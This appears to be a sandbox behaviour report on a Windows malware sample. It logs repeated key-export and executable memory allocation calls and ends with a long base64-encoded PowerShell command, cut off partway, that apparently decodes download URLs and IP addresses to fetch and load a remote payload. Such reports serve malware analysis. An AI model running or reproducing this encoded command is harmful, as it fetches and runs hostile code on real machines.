crypto_handle: 0x004d0be0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0be0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0be0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0220
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0be0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0be0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0be0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0be0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0be0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0be0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0be0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0f60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0f60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0f60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0f60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0f60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0f60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0f60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0f60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0f60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0f60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0f60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0f60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0f60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0f60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0ea0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0ea0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0ea0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0ea0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 851968
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a30000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2672
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2672
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02662000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02672000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a31000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a32000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0269a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02673000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02674000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02692000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02675000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0269c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02940000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02676000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02693000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02694000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02695000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02696000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02697000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02698000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02699000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029aa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029ac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029ad000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029ae000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029af000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ac0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ac1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ac2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ac3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ac4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABNAGUAYQBuAGwAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE4AdwBBAHUAQQBEAGcAQQBNAFEAQQB1AEEARABFAEEATgBRAEEANABBAEMANABBAE0AUQBBADUAQQBEAEEAQQAiADsAJABzAHQAdQBmAGYAaQBuAGUAcwBzAFAAYQByAGIAbwBpAGwAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFkAQQBOAFEAQQB1AEEARABFAEEATgBnAEEAeABBAEMANABBAE0AZwBBADAAQQBEAGsAQQBMAGcAQQB4AEEARABnAEEATQBRAEEAPQBOAFQAdABrAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAVQBBAGIAZwBCAG8AQQBHADgAQQBZAFEAQgA0AEEARwBVAEEAWgBBAEIASQBBAEcAOABBAGIAdwBCAHcAQQBHAFUAQQBjAGcAQQB1AEEARwBNAEEAYgBnAEEAPQAiADsAJABDAG8AbABpAGMAawBlAHIASABhAGUAbQBhAHQAbwBtAGEAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAZwBBAGEAUQBCAGwAQQBIAEkAQQBiAHcAQgBuAEEARwB3AEEAZQBRAEIAdwBBAEcAZwBBAGEAUQBCAGoAQQBHAEUAQQBiAEEAQQB1AEEARwBNAEEAYgB3AEIAdgBBAEcAdwBBAEwAdwBCAFgAQQBIAG8AQQBjAEEAQgBtAEEARQBnAEEATAB3AEIAdwBBAEcANABBAEkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAYQB3AEIAbABBAEgAQQBBAGQAQQBCAHAAQQBHAE0AQQBZAFEAQgBzAEEARwB3AEEAZQBRAEIAUwBBAEgAVQBBAGMAdwBCAG8AQQBHAEkAQQBkAFEAQgB6AEEARwBnAEEATABnAEIAagBBAEcAOABBAEwAdwBCADIAQQBFAEkAQQBWAHcAQgBhAEEAQwA4AEEAZABnAEIATABBAEgAWQBBAE4AdwBCADYAQQBBAD0APQBJAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQASQBBAEwAZwBBAHkAQQBEAEEAQQBOAHcAQQB2AEEARgBBAEEAWgBRAEEAMgBBAEYARQBBAEwAdwBCAFYAQQBEAFEAQQBlAEEAQQAwAEEARABnAEEAVAB3AEIAdwBBAEYAbwBBAFoAZwBCAHQAQQBBAD0APQBJAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQAVQBBAEwAZwBBAHgAQQBEAGcAQQBNAEEAQQB2AEEARgBFAEEAYwB3AEIAVgBBAEMAOABBAGMAdwBBADAAQQBIAG8AQQBTAFEAQgB4AEEARABJAEEAWQBRAEIAaABBAEgAZwBBAEkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQASQBBAE4AUQBBAHkAQQBDADQAQQBNAFEAQQAzAEEARABVAEEATABnAEEAeQBBAEQARQBBAE8AUQBBAHYAQQBHADQAQQBkAHcAQQAwAEEARQB3AEEAZABBAEEAdgBBAEgAYwBBAFUAUQBCAEoAQQBIAEkAQQBkAGcAQQA9ACIAOwAkAGEAdAB0AG8AcgBuAGUAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAFkAUQBCAHcAQQBHAFUAQQBjAGcAQgBsAEEASABJAEEAUwBBAEIAdgBBAEcANABBAGIAdwBCADEAQQBIAEkAQQBjAHcAQQB1AEEASABjAEEAYgB3AEIAeQBBAEcAcwBBACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGUAcwB0AHIAdQBhAGwAIABpAG4AIAAkAEMAbwBsAGkAYwBrAGUAcgBIAGEAZQBtAGEAdABvAG0AYQBzACAALQBzAHAAbABpAHQAIAAiAEkAIgApACAAewAkAGsAaABlAGQAYQBoAEIAYQByAGIAaQB0AHUAcgBhAHQAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAZwBBAE8AUQBBAHUAQQBEAEkAQQBOAEEAQQA0AEEAQwA0AEEATQBRAEEAMwBBAEQAZwBBAEwAZwBBADUAQQBEAEkAQQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAUQBBAGEAUQBCADAAQQBIAFEAQQBiAHcAQgBsAEEASABNAEEATABnAEIAdwBBAEcAawBBAFkAdwBCAHoAQQBBAD0APQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AQQBBAHUAQQBEAEUAQQBOAFEAQQA1AEEAQwA0AEEATQBRAEEAeQBBAEQAawBBAEwAZwBBAHkAQQBEAFEAQQBNAEEAQQA9ACIAOwAkAFMAdQBiAHAAaABhAHMAZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATgBBAEEAdwBBAEMANABBAE0AUQBBADUAQQBEAGcAQQBMAGcAQQB4AEEARABRAEEATgBRAEEAdQBBAEQARQBBAE0AZwBBADAAQQBBAD0APQBCAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARABBAEcARQBBAGIAUQBCAHcAQQBIAE0AQQBhAFEAQgAwAEEARwBVAEEAYwB3AEIARgBBAEgAWQBBAGIAdwBCAGoAQQBHAEUAQQBkAEEAQgBsAEEARwBRAEEATABnAEIAbQBBAEcAOABBAGQAUQBCAHUAQQBHAFEAQQBZAFEAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEEAPQA9ACIAOwAkAHMAYwBpAG8AbABpAHMAbQBSAGUAZQBqAGUAYwB0AHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFUAQQBiAGcAQgB4AEEASABVAEEAYQBRAEIAMABBAEMANABBAFkAdwBCAHYAQQBHADAAQQAiADsAdAByAHkAIAB7ACQAUgBvAGEAZABzAHQAZQBhAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAE0AQQBOAHcAQQB1AEEARABJAEEATgBBAEEAegBBAEMANABBAE0AUQBBADMAQQBEAEkAQQBMAGcAQQAwAEEARABrAEEAawBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAEEAQQAxAEEAQwA0AEEATQBRAEEAeQBBAEQASQBBAEwAZwBBAHkAQQBEAE0AQQBNAEEAQQB1AEEARABFAEEATQB3AEEAeQBBAEEAPQA9AGsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBBAEEAWQBRAEIAeQBBAEcARQBBAGIAQQBCAHYAQQBHAGMAQQBhAFEAQgBqAEEARwBrAEEAWQBRAEIAdQBBAEMANABBAFoAQQBCAGgAQQBIAFEAQQBaAFEAQQA9AGsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBnAEEAMwBBAEMANABBAE0AUQBBADMAQQBEAGcAQQBMAGcAQQB5AEEARABNAEEATwBBAEEAdQBBAEQASQBBAE0AUQBBADMAQQBBAD0APQAiADsAJABrAGkAbABsAGQAZQBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABJAEEATQB3AEEAdQBBAEQARQBBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQAwAEEARABnAEEATABnAEEAeABBAEQASQBBAE8AUQBBAD0AIgA7ACQAcwBwAG8AdQB0AGUAcgBzAEgAZQBzAHMAaQBhAG4AcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgATQBBAGIAQQBCAHYAQQBIAEEAQQBjAEEAQgBwAEEARwA0AEEAWgB3AEIASwBBAEcAVQBBAFoAUQBCADMAQQBHAGcAQQBhAFEAQgBzAEEARwB3AEEAYQBRAEIAcgBBAEcAVQBBAGIAZwBCAHoAQQBDADQAQQBaAEEAQgBwAEEARwBFAEEAYgBRAEIAdgBBAEcANABBAFoAQQBCAHoAQQBBAD0APQBsAE8AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBTAEEARwBFAEEAZQBBAEIAcABBAEcANABBAFoAdwBCAEoAQQBHADQAQQBkAEEAQgBsAEEASABJAEEAYgBBAEIAdgBBAEcATQBBAFkAUQBCADAAQQBHAFUAQQBaAEEAQQB1AEEARwBjAEEAYQBRAEIAbQBBAEgAUQBBAGMAdwBBAD0AIgA7ACQATwBiAHMAbwBsAGUAcwBjAGUAZAAgAD0AIAAkAGUAcwB0AHIAdQBhAGwAOwAkAHMAbABhAHQAaQBuAGcAcwAgAD0AIAAiAFoAQQBCADEAQQBIAE0AQQBkAEEAQgB2AEEASABVAEEAYwBnAEEAdQBBAEcAUQBBAGIAQQBCAHMAQQBBAD0APQAiADsAJABQAG4AZQB1AG0AbwBlAG4AYwBlAHAAaABhAGwAaQB0AGkAcwBPAHUAdAB2AGkAZQByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGc